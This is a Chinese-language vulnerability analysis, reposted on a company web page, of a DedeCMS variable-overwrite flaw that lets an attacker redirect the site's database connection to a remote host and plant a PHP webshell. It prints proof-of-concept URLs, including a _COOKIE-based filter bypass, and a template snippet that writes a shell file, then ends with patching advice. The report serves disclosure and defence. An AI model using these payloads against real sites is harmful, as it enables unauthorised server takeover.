• 全国400电话网上服务平台
    强大号码库资源任选,方便,快捷,快速开通。
    咨询热线:400-1100-266  

    织梦DedeCMS GetWebShell漏洞分析报告
    POST TIME:2017-12-15 22:54

    这是对前段时间爆出的GetWebShell漏洞的分析报告,不过织梦dedecms官方已经放出了补丁包,打了最新补丁的用户不会受到该漏洞的威胁,下文转自比特网 安全宝技术专家 IMIYOO。

      事件背景:

      近日很多网站被爆遭到入侵,经过安全宝安全实验室研究分析,这些网站使用的都是DedeCms内容管理系统,DedeCMS爆出一个很严重的漏洞,攻击者可以直接向服务器中写入“一句话木马”。

      DedeCMS的漏洞成因主要是由于变量覆盖导致而成,攻击者通过提交变量,覆盖数据库连接配置的全局变量,从而可以使被攻击的网站反向连接攻击者指定的数据库,读取指定的内容,并在被攻击的网站中直接写入WebShell。从整个攻击过程来看,这种攻击利用方式也比较巧妙,避开了传统的注入,破解,登录后台和上传木马的攻击模式,攻击者可以在未授权的前提下直接向网站目录中写入WebShell,从而控制网站,危害严重。

      随着网站管理员的安全意识的逐渐提高,网络安全设备的引入,模块和程序的过滤;传统的入侵模式也越来越捉襟见肘,从这次攻击中,我们发现传统的Web攻击思想也在发生变换,它们正慢慢由正向攻击向反向攻击过渡,其实在系统的攻击中,反向攻击早就存在,攻击者为了绕过防火墙一些列的前端过滤设备,利用木马使被攻击机器自己发起连向攻击者机器的请求,而防火墙通常是不会拦截机器主动发现的连接,从而攻击者很容易绕过了前端一系列的过滤和障碍。

      分析报告:

      下面我们一起来看下dede的漏洞原因,首先我们来看个变量覆盖漏洞的原型基础:

      VulTest.php:

    1
    2
    3
    4
    5
    6
    <?php
    $anquanbao=”imiyoo_first”;
    foreach($_GETas$key=>$value)
    $$key=$value;
    echo“\$anquanbao=”.$anquanbao;
    ?>

      攻击者显然通过$_GET提交变量覆盖已经定义的变量,效果如下图:

    攻击前图片

    攻击后图片($anquanbao变量已经被覆盖)

      有了这个漏洞的基础,现在我们来看看Dede的漏洞详细信息,漏洞主要发生在文件/plus/mytag_js.php中:

    mytag_js.php

    我们首先读下这段代码的处理流程,程序在开始会获取用户提交的$aid变量,如果需要显示不需要显示缓存内容,则会从数据库表’#@_mytag’中读取记录,并将读取的$tagbody内容以Dede模版形式写入缓存文件中。

      在这里很显然存在变量$aid的注入漏洞,但由于该表的内容一般都为空,而且Dede对提交的单引号都会有过滤,基本属于鸡肋漏洞;但是如果结合变量覆盖漏洞,攻击者就可以利用该漏洞覆盖数据库配置文件的连接信息,将数据库的连接重定向到攻击者可以控制的一个数据库,那么这样攻击者就能完全控制$tagbody的内容,而且在DedeCMS文章管理系统中,模版中是可以嵌入PHP代码,也就是说攻击者可以执行自己的PHP代码,从而可以轻易地向服务器中写入一句话木马,达到攻击的效果。

      在对漏洞进行测试的时候,我们发现Dede产生变量覆盖漏洞的代码在/include/common.inc.php中,如下:

    common.inc.php

    通过这段代码我们可以对程序中的任何变量进行覆盖,为了覆盖数据库配置文件中的变量,其实我们覆盖$cfg_dbhost或$GLOBALS[cfg_dbhost]都可以,因此我们可以提交形如下面的测试代码:

      Ø mytag_js.php?_GET[cfg_dbhost]=www.anquanbao.com

      Ø mytag_js.php?_GET[GLOBALS][cfg_dbhost]= www.anquanbao.com

      不过DedeCMS对这种形式的攻击也是有防范,但只是对提交的变量中的键值进行了判

      断,代码如下:

    代码

    但是这个变量$_k只是对一维数据的键值进行判断,而Dede对变量的提取却是支持多维的,如果攻击者提交的是多维的变量就可以很容易绕过,为了绕过正则的检测,同时达到覆盖变量的效果;因此我们可以很容易想到$_COOKIE变量,更重要的是Dede也支持$_COOKIE提交变量,因此我们就可以得到如下的有效攻击代码:

      Ø mytag_js.php?_GET[_COOKIE][GLOBALS][cfg_dbhost]=www.anquanbao.com

      利用上面的代码就可以绕过DedeCMS的正则检测,同时可以覆盖$GLOBALS[cfg_dbhost]变量。

      分析总结:

      通过对上面的分析,那么现在我们就能很清楚整个攻击流程:

      1 攻击者会预先准备一个MySQL数据库,数据库中包含有一个表明为’#@_mytag’的数据表,其中’#@’是待攻击数据库的表前缀,并在表中插入一条记录来控制$tagbody的内容,使其能够写入一句话木马,而且Dede利用模版写入一句话木马的代码如下:

      {dede:php}

      $fp = @fopen("test.php", \'a');

      @fwrite($fp, \'');

      echo "OK";

      @fclose($fp);

      {/dede:php}

      2 提交变量覆盖语句读取表中指定的内容,即可在当前路径下写入一句话木马。

      鉴于很多使用DedeCMS的网站还没有修补该漏洞,因此在这里就不公布危害性攻击代码。

      安全建议:

      许多程序员在对$_GET,$_POST或$_COOKIE获取的变量处理中,进行了对多维数组变量的递归解析,但是却在过滤的时候并没有对每一维的键值进行判断和检测;例如,在本次爆出的Dede的0day,程序员就只考虑到检测二维数组的键值,但是攻击者却可以通过提交三维数组生成COOKIE变量轻易绕过。因此程序员如果在保证程序能够对多维变量进行解析的时候,同时也是需要对每一维的键值进行有效检测和判断。

    
    关于我们 | 付款方式 | 建站知识 | 增值服务 | 网站模板
    Copyright © 2003-2016
    时间:9:00-21:00 (节假日不休)
    版权所有:巨人网络(扬州)科技有限公司
    总部地址:江苏省信息产业基地11号楼四层
    《增值电信业务经营许可证》 苏B2-20120278
    X

    截屏,微信识别二维码

    微信号:veteran88

    (点击微信号复制,添加好友)

     打开微信

    微信号已复制,请打开微信添加咨询详情!